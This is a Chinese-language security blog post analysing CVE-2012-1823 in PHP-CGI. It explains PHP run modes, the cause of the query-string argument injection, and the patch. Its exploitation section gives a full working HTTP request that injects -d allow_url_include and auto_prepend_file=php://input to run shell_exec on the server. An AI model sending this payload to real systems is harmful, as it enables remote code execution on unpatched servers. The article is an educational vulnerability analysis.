CVE-2012-1823 – 作者:HantTop

1. PHP的四种运行模式(你需要知道的)

(1)CGI

       全称是“通用网关接口”(Common Gateway Interface), 它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据,描述的是客户端和这个程序之间传输数据的一种标准,另外CGI独立于任何语言,所以可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。

       CGI针对每个用户请求都要开单独的子进程去维护,所以数量多的时候会出现性能问题,最近几年很少用。

(2)FastCGI

       CGI的升级版本,FastCGI 像是一个常驻 (long-live) 型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去解析php.ini、重新载入全部dll扩展并重初始化全部数据结构。

       PHP使用PHP-FPM(FastCGI Process Manager),全称PHP FastCGI进程管理器进行管理。

(3)Cli

        PHP-CLI是PHP Command Line Interface的简称,就是PHP在命令行运行的接口,区别于在Web服务器上运行的PHP环境(PHP-CGI等)。

        在php-cli模式下我们可以直接启动一个php文件并执行,就像workerman中一样

(4)Module加载

     这种方式一般是针对apache而言的,它是把php作为apache的一个子模块来运行。

2. 进入正题

(1)漏洞影响范围

       漏洞影响版本 php < 5.3.12 or php < 5.4.2

       CVE-2012-1823是在php-cgi运行模式下出现的漏洞,其漏洞只出现在以cgi模式运行的php中。

(2)漏洞成因

       这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。

       RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。但开发者是为了方便使用类似#!/usr/local/bin/php-cgi -d include_path=/path的写法来进行测试,认为不应该限制php-cgi接受命令行参数,而且这个功能不和其他代码有任何冲突。

      于是,源程序中的if(!cgi) getopt(...)被删掉了。

      根据RFC中对于command line的说明,命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入。

(3)漏洞利用

       cgi模式下有如下可控命令行参数可用:

  • -c 指定php.ini文件(PHP的配置文件)的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h-? 显示帮助

       那么最简单的利用方式就是-s可以直接显示源码(这里是自己搭建的环境):

image.png

       一个更好的利用方法是通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:

        其原理是:利用可控命令行参数 -d 将allow_url_include 得值设为 on 并使用 auto_prepend_file 函数在页面顶部加载文件,而构造加载的文件为 php://input 读取原始POST数据(也就是传输的数据  <?php echo shell_exec("ls");?> 的执行结果),并传递到回应包里。(其中用“+”代替了“空格”,并将“=”和“:”进行了URL编码)构造请求头如下:

       POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1

       Host: 127.0.0.1:8080

       User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

       Accept-Language: en-US,en;q=0.5

       Accept-Encoding: gzip, deflate

       Connection: close

       Upgrade-Insecure-Requests: 1

       Content-Length: 30

       <?php echo shell_exec("ls");?>

       在burp中构造执行的结果如下:

image.png

 (4)漏洞修复

        修复原理是:获取querystring后进行解码,先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-如果第一个字符是-则设置skip_getopt,也就是不要获取命令行参数。修复源码如下

        if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {

               /* we've got query string that has no = - apache CGI will pass it to command line */

                unsigned char *p;

               decoded_query_string = strdup(query_string);

               php_url_decode(decoded_query_string, strlen(decoded_query_string));

               for (p = decoded_query_string; *p &&  *p <= ' '; p++) {

               /* skip all leading spaces */

              }   

              if(*p == '-') {

                    skip_getopt = 1;

              }

              free(decoded_query_string);

        }

3. 总结

       代码执行漏洞在如今的各大平台上都是常客,其影响不容小觑,而对于本文分析的漏洞,虽然已经谈不上什么危害性了,但是仍可以作为一个典型的案例供安全人员研究,作为一名小白,以上只是个人观点,仅供参考。

      望各位大佬多多指教,Thank You !

来源:freebuf.com 2019-10-15 11:12:45 by: HantTop

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论